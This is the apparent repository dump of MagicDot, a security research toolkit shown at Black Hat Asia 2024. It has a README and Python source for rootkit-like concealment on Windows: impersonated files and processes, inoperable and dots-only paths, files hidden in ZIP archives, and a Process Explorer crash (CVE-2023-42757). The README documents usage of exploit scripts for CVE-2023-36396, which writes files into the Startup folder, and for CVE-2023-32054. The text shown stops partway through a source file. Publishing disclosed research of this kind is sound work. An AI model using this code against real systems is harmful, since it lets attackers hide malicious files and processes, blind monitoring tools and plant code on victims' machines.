├── .gitignore ├── LICENSE ├── README.md ├── images └── magician-w-md-logo-KO-white.png ├── requirements.txt ├── setup.py ├── src └── magic_dot │ ├── __init__.py │ ├── concealments.py │ ├── file_utils.py │ └── nt_create_user_process │ ├── __init__.py │ ├── nt_create_user_process.py │ ├── ntdll.h │ └── ntdll.py └── tools ├── magic_dot_cli ├── args.py ├── command_handlers.py └── magic_dot_cli.py ├── prepare_archive_rce_exploit ├── prepare_archive_rce_exploit.py └── reparse_points │ ├── __init__.py │ ├── reparse_points.py │ └── reparse_structs.py ├── prepare_delete_dir_exploit.py └── prepare_shadow_copy_restoration_write_exploit.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | 131 | # VSCODE 132 | .vscode/* 133 | 134 | # Local History for Visual Studio Code 135 | .history/ 136 | 137 | # Built Visual Studio Code Extensions 138 | *.vsix 139 | 140 | # OneDrive's DoubleDrive generated options 141 | onedrive_doubledrive/config.yaml -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, SafeBreach Labs 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MagicDot 2 | A set of rootkit-like abilities for unprivileged users, and vulnerabilities based on the DOT-to-NT path conversion known issue. 3 | 4 | Presented at Black Hat Asia 2024 under the title - [**MagicDot: A Hacker's Magic Show of Disappearing Dots and Spaces**](https://www.blackhat.com/asia-24/briefings/schedule/#magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces-36561) 5 | 6 | For a deeper understanding of the research, read this blog post - [**MagicDot: A Hacker's Magic Show of Disappearing Dots and Spaces**](https://www.safebreach.com/blog/magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces/) 7 | 8 |
9 | 10 |
11 | 12 | ## MagicDot Python Package 13 | Implements MagicDot's rootkit-like techniques: 14 | * Files/Directories named with dots only 15 | * Bonus - Such Directories prevent any shadow copy restoration of any parent directory of the inoperable directory 16 | * Inoperable Files/Directories 17 | * Impersonated Files/Directories 18 | * Impersonated Process 19 | * Process Explorer DoS Vulnerability - `CVE-2023-42757` 20 | * Hidden files in ZIP archives 21 | 22 | ### MagicDot Python Package Installation 23 | 1. Clone the repo 24 | 2. Install it locally: 25 | ``` 26 | pip install 27 | ``` 28 | 29 | ## MagicDot Tools 30 | Inside the `tools` folder you'll find the `magic_dot_cli` tool (dependent on the MagicDot Python package) along with 3 different solo scripts that implement the exploits for vulnerabilities `CVE-2023-36396`, `CVE-2023-32054`, and a third unfixed Deletion EoP vulnerability. During the installation of the MagicDot Python package, the requirements for these scripts are installed as well. 31 | 32 | For convenience purposes, it is recommended to pack magic_dot_cli into an executable using Pyinstaller: 33 | ``` 34 | cd tools\magic_dot_cli\ 35 | pyinstaller --onefile magic_dot_cli.py 36 | ``` 37 | 38 | ### magic_dot_cli Usage 39 | ``` 40 | python .\magic_dot_cli.py -h 41 | usage: magic_dot_cli.py [-h] 42 | {CREATE_IMPERSONATED_PROCESS,CREATE_INOPERABLE_FILE,CREATE_INOPERABLE_DIR,CREATE_DOTS_FILE,CREATE_DOTS_DIR,CREATE_IMPERSONATED_FILE,CREATE_IMPERSONATED_DIR,ADD_INVISIBLE_FILE_INTO_ZIP,DISABLE_PROCEXP} 43 | ... 44 | 45 | An unprivileged rootkit-like tool 46 | 47 | optional arguments: 48 | -h, --help show this help message and exit 49 | 50 | command: 51 | {CREATE_IMPERSONATED_PROCESS,CREATE_INOPERABLE_FILE,CREATE_INOPERABLE_DIR,CREATE_DOTS_FILE,CREATE_DOTS_DIR,CREATE_IMPERSONATED_FILE,CREATE_IMPERSONATED_DIR,ADD_INVISIBLE_FILE_INTO_ZIP,DISABLE_PROCEXP} 52 | CREATE_IMPERSONATED_PROCESS 53 | Create a process that impersonates a different process. Both Task Manager and Process Explorer will display 54 | information about the target process to impersonate to 55 | CREATE_INOPERABLE_FILE 56 | Create an inoperable file 57 | CREATE_INOPERABLE_DIR 58 | Create an inoperable directory 59 | CREATE_DOTS_FILE Create a dots file 60 | CREATE_DOTS_DIR Create a dots directory 61 | CREATE_IMPERSONATED_FILE 62 | Create a file that impersonates a different file 63 | CREATE_IMPERSONATED_DIR 64 | Create a directory that impersonates a different directory 65 | ADD_INVISIBLE_FILE_INTO_ZIP 66 | Inserts a file into a zip. The file is inserted with a name that prevents Windows' ZIP archiver from being 67 | able to list it in the ZIP. 68 | DISABLE_PROCEXP Exploits a DOS vulnerability in ProcExp. Creates a process that runs forever and does nothing. The process 69 | has a certain name that crashes ProcExp whenever it runs. Valid against all ProcExp versions under version 70 | 17.04 (released in April 3rd 2023). 71 | ``` 72 | 73 | For more help per each command use `-h` for the specific command. For Example: 74 | ``` 75 | python magic_dot_cli.py CREATE_IMPERSONATED_PROCESS -h 76 | ``` 77 | 78 | ### prepare_archive_rce_exploit Usage (CVE-2023-36396) 79 | ``` 80 | python prepare_archive_rce_exploit.py -h 81 | usage: prepare_archive_rce_exploit.py [-h] [--target-dir-relative TARGET_DIR_RELATIVE] 82 | files_to_write_paths [files_to_write_paths ...] 83 | out_archive_path 84 | 85 | Exploits CVE-2023-36396. Crafts a malicious archive that exploits Windows File Explorer 86 | to extract a file to an arbitrary relative path. The default relative path is set to 87 | point from the Downloads directory to the user's Startup folder 88 | 89 | positional arguments: 90 | files_to_write_paths File paths separated by spaces. These files are the files which 91 | will be written to the chosen victim's directory 92 | out_archive_path Path to the archive to be created that will contain the exploit. 93 | the type of the archive will be determined based on the file 94 | extension provided. Supported types: .tar|.tar.gz|.tar.gzip|.tar 95 | .xz|.tar.bz2|.tar.bzip2|.tar.zst|.tar.zstd|.7z|.7zip 96 | 97 | optional arguments: 98 | -h, --help show this help message and exit 99 | --target-dir-relative TARGET_DIR_RELATIVE 100 | A relative path from the victim's estimated extraction folder to 101 | the destination folder of the executables 102 | ``` 103 | 104 | ### prepare_shadow_copy_restoration_write_exploit Usage (CVE-2023-32054) 105 | ``` 106 | python .\prepare_shadow_copy_restoration_write_exploit.py -h 107 | usage: prepare_shadow_copy_restoration_write_exploit.py [-h] -target-dir TARGET_DIR 108 | (-replacing-dir REPLACING_DIR | -remove-dir) 109 | 110 | Exploits CVE-2023-32054 111 | 112 | optional arguments: 113 | -h, --help show this help message and exit 114 | -target-dir TARGET_DIR 115 | The target directory to try to overwrite its files. The 116 | directory is vulnerable if an unprivileged user is allowed to 117 | create a new directory its parent directory 118 | -replacing-dir REPLACING_DIR 119 | The directory that contains files with the same names in the 120 | same structure of the target dir but with the new desired 121 | content 122 | -remove-dir Delete the directory created a part of the exploit in an 123 | earlier point in time. This is recommended to be done after a 124 | shadow copy was taken by an admin, while the directory 125 | existed 126 | ``` 127 | 128 | ### prepare_delete_dir_exploit Usage 129 | ``` 130 | python prepare_delete_dir_exploit.py -h 131 | usage: prepare_delete_dir_exploit.py [-h] target_dir 132 | 133 | Exploits a "won't fixed" deletion EoP vulnerability triggered by a privileged user 134 | interaction. Creates a directory called "... " in a target directory to delete. When 135 | "... " is deleted, then its parent directory is deleted too. 136 | 137 | positional arguments: 138 | target_dir The target directory to try to delete. It is vulnerable only if you can 139 | create a directory inside it. 140 | 141 | optional arguments: 142 | -h, --help show this help message and exit 143 | ``` 144 | 145 | -------------------------------------------------------------------------------- /images/magician-w-md-logo-KO-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/images/magician-w-md-logo-KO-white.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Brotli==1.1.0 2 | inflate64==1.0.0 3 | multivolumefile==0.2.3 4 | psutil==5.9.8 5 | py7zr==0.21.0 6 | pybcj==1.0.2 7 | pycryptodomex==3.20.0 8 | pyppmd==1.1.0 9 | pywin32==306 10 | pyzstd==0.15.10 11 | texttable==1.7.0 12 | zstandard==0.22.0 -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | with open("requirements.txt") as f: 4 | required = f.read().splitlines() 5 | setup( 6 | name="MagicDot", 7 | version="1.0", 8 | package_dir={"": "src"}, # Optional 9 | packages=find_packages(where="src"), # Required 10 | install_requires=required) -------------------------------------------------------------------------------- /src/magic_dot/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/src/magic_dot/__init__.py -------------------------------------------------------------------------------- /src/magic_dot/concealments.py: -------------------------------------------------------------------------------- 1 | import tempfile 2 | import os 3 | import shutil 4 | import zipfile 5 | import uuid 6 | from ctypes.wintypes import HANDLE 7 | 8 | from magic_dot.nt_create_user_process.nt_create_user_process import nt_create_user_process 9 | from magic_dot.file_utils import nt_path, nt_makedirs, set_short_name, get_short_name, dos_path 10 | 11 | DOTS_FILE_NAME = "..." 12 | 13 | 14 | def generate_impersonated_path(target_path: str, near: bool) -> str: 15 | r""" 16 | Generates a path that impersonates another path. Once the generated path is referenced 17 | by a DOS path, and converted by Windows to an NT path, it references a different chosen path. 18 | For example, if the desired path to impersonate to is "C:\Windows\System32\svchost.exe", then 19 | the generated path is "\??\C:\Windows.\System32\svchost.exe". If the generated path is 20 | referenced by a DOS path, then as part of the DOS-to-NT conversion process in Windows, the 21 | trailing dot from "Windows." is removed, resulting the path "C:\Windows\System32\svchost.exe". 22 | 23 | :param target_path: The path to impersonate to 24 | :param near: Should the resulted path be in the same folder of "target_path" 25 | :return: The generated path, as an NT path 26 | """ 27 | impersonated_path = "" 28 | if near: 29 | impersonated_path = f"{target_path}." 30 | else: 31 | target_file_path_split = target_path.split("\\") 32 | top_level_directory = os.path.join(f"{target_file_path_split[0]}\\", target_file_path_split[1]) 33 | under_top_level_directory = os.path.join(*target_file_path_split[2:]) 34 | impersonated_path = os.path.join(f"{top_level_directory}.", under_top_level_directory) 35 | 36 | return nt_path(impersonated_path) 37 | 38 | 39 | def generate_inoperable_path(parent_dir_path: str): 40 | """ 41 | Generates a path that is inoperable. Once the generated path is referenced 42 | by a DOS path, and converted by Windows to an NT path, it references a non-existent 43 | path. 44 | 45 | :param parent_dir_path: The parent path of the resulted generated path 46 | :return: The generated inoperable path, as an NT path. 47 | """ 48 | target_path = os.path.join(parent_dir_path, str(uuid.uuid4())) 49 | return generate_impersonated_path(target_path, near=True) 50 | 51 | 52 | def generate_dots_path(parent_dir_path: str): 53 | r""" 54 | Generates a path with a last path element made only from dots. If this path is 55 | referenced with a DOS path, then the last path element will always be removed 56 | as part of Windows' DOS-to-NT path conversion process, eventually referencing 57 | the parent directory of the path. These paths will usually create many issues 58 | when referenced with DOS paths by normal software. 59 | 60 | :param parent_dir_path: The parent path of the resulted generated path 61 | :return: The generated path, as an NT path 62 | """ 63 | parent_dir_abs_path = os.path.abspath(parent_dir_path) 64 | dots_path = nt_path(os.path.join(parent_dir_abs_path, DOTS_FILE_NAME)) 65 | 66 | while os.path.exists(dots_path): 67 | dots_path += "." 68 | 69 | return dots_path 70 | 71 | 72 | def create_magic_dot_file(file_path: str, copy_from: str = None): 73 | """ 74 | Creates a file in given path even its path has trailing dots or spaces 75 | in some of its path elements 76 | 77 | :param file_path: The path to the file to create. 78 | :param copy_from: A path to a file with the content to write into the new file, defaults to None 79 | """ 80 | if copy_from is not None: 81 | copy_from_abs_path = os.path.abspath(copy_from) 82 | shutil.copyfile(copy_from_abs_path, nt_path(file_path)) 83 | else: 84 | open(nt_path(file_path), "wb").close() 85 | 86 | 87 | def create_magic_dot_dir(dir_path: str, copy_from: str = None): 88 | """ 89 | Creates a directory in given path even its path has trailing dots or spaces 90 | in some of its path elements 91 | 92 | :param dir_path: The path to the directory to create. 93 | :param copy_from: A path to a directory with the content to write into the new directory, 94 | defaults to None 95 | """ 96 | if copy_from: 97 | copy_from_abs_path = os.path.abspath(copy_from) 98 | shutil.copytree(copy_from_abs_path, nt_path(dir_path)) 99 | else: 100 | os.mkdir(nt_path(dir_path)) 101 | 102 | 103 | def create_inoperable_file(parent_dir_path: str, copy_from: str = None) -> str: 104 | """ 105 | Creates an inoperable file. Read generate_inoperable_path's docstring. 106 | 107 | :param parent_dir_path: The directory to create the file in 108 | :param copy_from: A path to a file with the content to write into the new file, defaults to None 109 | :return: The path to the new file, as an NT path 110 | """ 111 | dots_file_path = generate_inoperable_path(parent_dir_path) 112 | create_magic_dot_file(dots_file_path, copy_from) 113 | 114 | return dots_file_path 115 | 116 | 117 | def create_inoperable_dir(parent_dir_path: str, copy_from: str = None) -> str: 118 | """ 119 | Creates an inoperable directory. Read generate_inoperable_path's docstring. 120 | 121 | :param parent_dir_path: The directory to create the directory in 122 | :param copy_from: A path to a directory with the content to write into the new directory, 123 | defaults to None 124 | :return: The path to the new directory, as an NT path 125 | """ 126 | dots_file_path = generate_inoperable_path(parent_dir_path) 127 | create_magic_dot_dir(dots_file_path, copy_from) 128 | 129 | return dots_file_path 130 | 131 | 132 | def create_dots_file(parent_dir_path: str, copy_from: str = None) -> str: 133 | """ 134 | Creates a file with a name made only from dots. 135 | 136 | :param parent_dir_path: The directory to create the file in 137 | :param copy_from: A path to a file with the content to write into the new file, defaults to None 138 | :return: The path to the new file, as an NT path 139 | """ 140 | dots_file_path = generate_dots_path(parent_dir_path) 141 | create_magic_dot_file(dots_file_path, copy_from) 142 | 143 | return dots_file_path 144 | 145 | 146 | def create_dots_dir(parent_dir_path: str, copy_from: str = None): 147 | """ 148 | Creates a directory with a name made only from dots. 149 | 150 | :param parent_dir_path: The directory to create the directory in 151 | :param copy_from: A path to a directory with the content to write into the new directory, 152 | defaults to None 153 | :return: The path to the new directory, as an NT path 154 | """ 155 | dots_dir_path = generate_dots_path(parent_dir_path) 156 | create_magic_dot_dir(dots_dir_path, copy_from) 157 | 158 | return dots_dir_path 159 | 160 | 161 | def create_impersonated_file( 162 | target_file: str, 163 | copy_from: str = None, 164 | near: bool = False, 165 | use_existing_short_name: bool = False, 166 | use_specific_short_name: str = None, 167 | ) -> str: 168 | """ 169 | Read generate_impersonated_path's docstring. 170 | Creates a file that impersonates a different file on the filesystem. Basically, creates 171 | a file in a path generated by the generate_impersonated_path() function. In addition, 172 | it's possible to choose that the generated file will impersonate the short name of the 173 | target file. Impersonating the short name of the target file can be done in two ways: 174 | 1. Impersonate the existing short name of the target file 175 | 2. Set a short name for the target file and impersonate its path 176 | 177 | :param target_file: The target file to impersonate to 178 | :param copy_from: A path to a file with the content to write into the new file 179 | :param near: Should the resulted path be in the same folder of "target_file", defaults to False 180 | :param use_existing_short_name: Should the file impersonate the path for the short name of 181 | "target_file", defaults to False 182 | :param use_specific_short_name: A short name to set for the target file, leading the resulted 183 | file to impersonate it, instead of the normal name, defaults to 184 | None 185 | :return: The path the new file, as an NT path 186 | """ 187 | target_file_abs_path = os.path.abspath(target_file) 188 | 189 | if use_specific_short_name != None: 190 | set_short_name(target_file_abs_path, use_specific_short_name) 191 | 192 | if use_specific_short_name or use_existing_short_name: 193 | target_file_abs_path = get_short_name(target_file_abs_path) 194 | 195 | impersonated_file_path = generate_impersonated_path(target_file_abs_path, near) 196 | nt_makedirs(os.path.dirname(impersonated_file_path)) 197 | 198 | create_magic_dot_file(impersonated_file_path, copy_from) 199 | 200 | return impersonated_file_path 201 | 202 | 203 | def create_impersonated_dir( 204 | target_dir: str, 205 | copy_from: str = None, 206 | near: bool = False, 207 | use_existing_short_name: bool = False, 208 | use_specific_short_name: str = None, 209 | ) -> str: 210 | """ 211 | Read generate_impersonated_path's docstring. 212 | Creates a directory that impersonates a different directory on the filesystem. 213 | Basically, creates a directory in a path generated by the generate_impersonated_path() 214 | function. In addition, it's possible to choose that the generated directory will 215 | impersonate the short name of the target directory. Impersonating the short name of the 216 | target directory can be done in two ways: 217 | 1. Impersonate the existing short name of the target directory 218 | 2. Set a short name for the target directory and impersonate its path 219 | 220 | :param target_dir: The target directory to impersonate to 221 | :param copy_from: A path to a directory with the content to write into the new directory 222 | :param near: Should the resulted path be in the same folder of "target_dir", defaults to False 223 | :param use_existing_short_name: Should the directory impersonate the path for the short name of 224 | "target_dir", defaults to False 225 | :param use_specific_short_name: A short name to set for the target directory, leading the 226 | resulted directory to impersonate it, instead of the normal 227 | name, defaults to None 228 | :return: The path the new directory, as an NT path 229 | """ 230 | target_dir_abs_path = os.path.abspath(target_dir) 231 | 232 | if use_specific_short_name != None: 233 | set_short_name(target_dir_abs_path, use_specific_short_name) 234 | 235 | if use_specific_short_name or use_existing_short_name: 236 | target_dir_abs_path = get_short_name(target_dir_abs_path) 237 | 238 | impersonated_dir_path = generate_impersonated_path(target_dir_abs_path, near) 239 | nt_makedirs(os.path.dirname(impersonated_dir_path)) 240 | 241 | create_magic_dot_dir(impersonated_dir_path, copy_from) 242 | 243 | return impersonated_dir_path 244 | 245 | 246 | def create_impersonated_process(impersonate_to_path: str, exe_path: str) -> HANDLE: 247 | """ 248 | Runs an executable from a path that impersonates a path. 249 | Read generate_impersonated_path's docstring. 250 | 251 | :param impersonate_to_path: The path to impersonate to 252 | :param exe_path: The path for the executable to run 253 | :return: A handle to the running process, after it was run 254 | """ 255 | impersonated_file_path = create_impersonated_file(impersonate_to_path, exe_path, False) 256 | return nt_create_user_process(impersonated_file_path, os.path.abspath(dos_path(impersonate_to_path))) 257 | 258 | 259 | def add_invisible_file_to_zip(zip_file_path: str, file_path: str): 260 | """ 261 | Adds a file to a ZIP archive in a way that File Explorer does not 262 | present it to users that list or extract the archive. This is done 263 | by creating a folder 264 | 265 | :param zip_file_path: The path to the ZIP archive to add the file into 266 | :param file_path: The path to the file to add into the ZIP archive 267 | """ 268 | zip_file_abs_path = os.path.abspath(zip_file_path) 269 | file_abs_path = os.path.abspath(file_path) 270 | with zipfile.ZipFile(zip_file_abs_path, "a") as zip: 271 | zip.write(file_abs_path, f"..\\{os.path.basename(file_abs_path)}") 272 | 273 | 274 | def disable_procexp(): 275 | """ 276 | Exploits CVE-2023-42757. Runs a process with a name that leads 277 | Process explorer to close and to be unable to run again as longs 278 | as this process is running. 279 | """ 280 | temp_path = tempfile.gettempdir() 281 | disabling_process_path = os.path.join(temp_path, "a" * 255) 282 | cmd_exe_path = os.path.expandvars(r"%systemroot%\System32\cmd.exe") 283 | shutil.copyfile(cmd_exe_path, nt_path(disabling_process_path)) 284 | nt_create_user_process(disabling_process_path, hide_console_window=True) 285 | -------------------------------------------------------------------------------- /src/magic_dot/file_utils.py: -------------------------------------------------------------------------------- 1 | """ 2 | Windows file utils supporting MagicDot's concealment techniques 3 | """ 4 | import os 5 | import win32file 6 | import win32con 7 | 8 | 9 | def nt_path(path: str) -> str: 10 | """ 11 | Converts a DOS path into an NT path. If the provided path is an already an 12 | NT path referencing a DOS device, then the returned path is the same path. 13 | 14 | :param path: The path to convert 15 | :return: The resulted NT path 16 | """ 17 | if path.startswith("\\??"): 18 | return path 19 | 20 | return f"\\??\\{path}" 21 | 22 | 23 | def dos_path(path: str) -> str: 24 | """ 25 | Converts an NT path referencing to a DOS device into a DOS path. 26 | 27 | :param path: The path to convert 28 | :return: The resulted DOS path 29 | """ 30 | return path.replace("\\??\\", "") 31 | 32 | 33 | def nt_makedirs(path: str): 34 | """ 35 | Creates directories recursively. Same as os.makedirs(), 36 | but works with paths that have trailing dots and trailing spaces in path elements. 37 | 38 | :param path: The path of the directories to create 39 | """ 40 | path_head, path_tail = os.path.split(dos_path(path)) 41 | if "" == path_tail: 42 | return 43 | else: 44 | nt_makedirs(path_head) 45 | try: 46 | os.mkdir(nt_path(path)) 47 | except FileExistsError: 48 | pass 49 | 50 | 51 | def set_short_name(path: str, short_name: str): 52 | """ 53 | Sets the short name of a file or a directory. 54 | 55 | :param path: The path of the file or directory 56 | :param short_name: The short name to set 57 | """ 58 | flags = 0 59 | if os.path.isdir(path): 60 | flags = win32con.FILE_FLAG_BACKUP_SEMANTICS 61 | 62 | file_handle = win32file.CreateFile( 63 | path, 64 | win32con.GENERIC_ALL, 65 | win32con.FILE_SHARE_DELETE | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_READ, 66 | None, 67 | win32con.OPEN_EXISTING, 68 | flags, 69 | 0, 70 | ) 71 | win32file.SetFileShortName(file_handle, short_name) 72 | win32file.CloseHandle(file_handle) 73 | 74 | 75 | def get_short_name(path: str) -> str: 76 | """ 77 | Retrieves the short name of a file or a directory. 78 | 79 | :param path: The path of the file or the directory 80 | :raises NameError: Raised if the file does not have a short name 81 | :return: The short name of the file or the directory 82 | """ 83 | parent_path = os.path.dirname(path) 84 | # index 9 in the tuple is the alternate file name 85 | # https://timgolden.me.uk/pywin32-docs/WIN32_FIND_DATA.html 86 | short_file_name = win32file.FindFilesW(path)[0][9] 87 | if short_file_name == "": 88 | raise NameError(f'"{parent_path}" does not have a short name') 89 | short_name_path = os.path.join(parent_path, short_file_name) 90 | return short_name_path 91 | -------------------------------------------------------------------------------- /src/magic_dot/nt_create_user_process/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/src/magic_dot/nt_create_user_process/__init__.py -------------------------------------------------------------------------------- /src/magic_dot/nt_create_user_process/nt_create_user_process.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import os 3 | from ctypes import * 4 | from ctypes.wintypes import * 5 | 6 | from magic_dot.file_utils import nt_path, dos_path 7 | from . import ntdll 8 | 9 | class UNICODE_STRING(Structure): 10 | _fields_ = [('Length', USHORT), 11 | ('MaximumLength', USHORT), 12 | ('Buffer', POINTER(WCHAR))] 13 | 14 | def get_string(self): 15 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') 16 | 17 | 18 | # class _RTL_USER_PROCESS_PARAMETERS(Structure): 19 | # _fields_ = [ 20 | # ("MaximumLength", ULONG), 21 | # ("Length", ULONG), 22 | # ("Flags", ULONG), 23 | # ("DebugFlags", ULONG), 24 | # ("ConsoleHandle", HANDLE), 25 | # ("Reserved1", BYTE * 16), 26 | # ("Reserved2", c_void_p * 10), 27 | # ("ImagePathName", UNICODE_STRING), 28 | # ("CommandLine", UNICODE_STRING), 29 | # ] 30 | # PRTL_USER_PROCESS_PARAMETERS = POINTER(_RTL_USER_PROCESS_PARAMETERS) 31 | # RTL_USER_PROCESS_PARAMETERS = _RTL_USER_PROCESS_PARAMETERS 32 | 33 | RTL_USER_PROCESS_PARAMETERS_NORMALIZED = 1 34 | 35 | PS_ATTRIBUTE_IMAGE_NAME = 0x20005 36 | THREAD_ALL_ACCESS = 0x1fffff 37 | PROCESS_ALL_ACCESS = 0x1fffff 38 | 39 | PROCESS_CREATE_FLAGS_CREATE_SUSPENDED = 0x00000200 40 | THREAD_CREATE_FLAGS_CREATE_SUSPENDED = 0x00000001 41 | 42 | CONSOLE_HANDLE_CREATE_NO_WINDOW = -3 43 | 44 | 45 | def RtlInitUnicodeString(dst_unicode_str, src_wchar_buffer): 46 | memset(addressof(dst_unicode_str), 0, sizeof(dst_unicode_str)) 47 | dst_unicode_str.Buffer = cast(src_wchar_buffer, POINTER(WCHAR)) 48 | dst_unicode_str.Length = sizeof(src_wchar_buffer) - 2 # Excluding terminating NULL character 49 | dst_unicode_str.MaximumLength = dst_unicode_str.Length 50 | 51 | 52 | def nt_create_user_process(exe_path, custom_cmdline=None, current_directory=None, hide_console_window: bool = False, nt_process_create_flags: int = 0, nt_thread_create_flags: int = 0) -> HANDLE: 53 | exe_path = dos_path(exe_path) 54 | 55 | if None == custom_cmdline: 56 | custom_cmdline = exe_path 57 | 58 | if None == current_directory: 59 | current_directory = os.path.dirname(exe_path) 60 | 61 | nt_exe_path_unicode_buffer = create_unicode_buffer(nt_path(exe_path)) 62 | nt_exe_path_unicode_string = UNICODE_STRING() 63 | RtlInitUnicodeString(nt_exe_path_unicode_string, nt_exe_path_unicode_buffer) 64 | 65 | cmdline_unicode_buffer = create_unicode_buffer(custom_cmdline) 66 | cmdline_unicode_string = UNICODE_STRING() 67 | RtlInitUnicodeString(cmdline_unicode_string, cmdline_unicode_buffer) 68 | 69 | current_directory_unicode_buffer = create_unicode_buffer(current_directory) 70 | current_directory_unicode_string = UNICODE_STRING() 71 | RtlInitUnicodeString(current_directory_unicode_string, current_directory_unicode_buffer) 72 | 73 | process_parameters = ntdll.PRTL_USER_PROCESS_PARAMETERS() 74 | 75 | ctypes.windll.ntdll.RtlCreateProcessParametersEx.restype = c_ulong 76 | nt_status = ctypes.windll.ntdll.RtlCreateProcessParametersEx(byref(process_parameters), byref(nt_exe_path_unicode_string), None, byref(current_directory_unicode_string), byref(cmdline_unicode_string), None, None, None, None, None, RTL_USER_PROCESS_PARAMETERS_NORMALIZED) 77 | if nt_status != 0: 78 | raise OSError(f"RtlCreateProcessParametersEx returned an error nt status: {hex(nt_status)}") 79 | 80 | if hide_console_window: 81 | process_parameters.contents.ConsoleHandle = CONSOLE_HANDLE_CREATE_NO_WINDOW 82 | 83 | create_info = ntdll.PS_CREATE_INFO() 84 | memset(byref(create_info), 0, sizeof(create_info)) 85 | create_info.Size = sizeof(create_info) 86 | create_info.State = ntdll.PsCreateInitialState 87 | 88 | 89 | attribute_list = cast(create_string_buffer(sizeof(ntdll.PS_ATTRIBUTE) + sizeof(c_uint64)), ntdll.PPS_ATTRIBUTE_LIST) 90 | memset(attribute_list, 0, sizeof(ntdll.PS_ATTRIBUTE)) 91 | attribute_list.contents.TotalLength = sizeof(ntdll.PS_ATTRIBUTE_LIST) - sizeof(ntdll.PS_ATTRIBUTE) 92 | 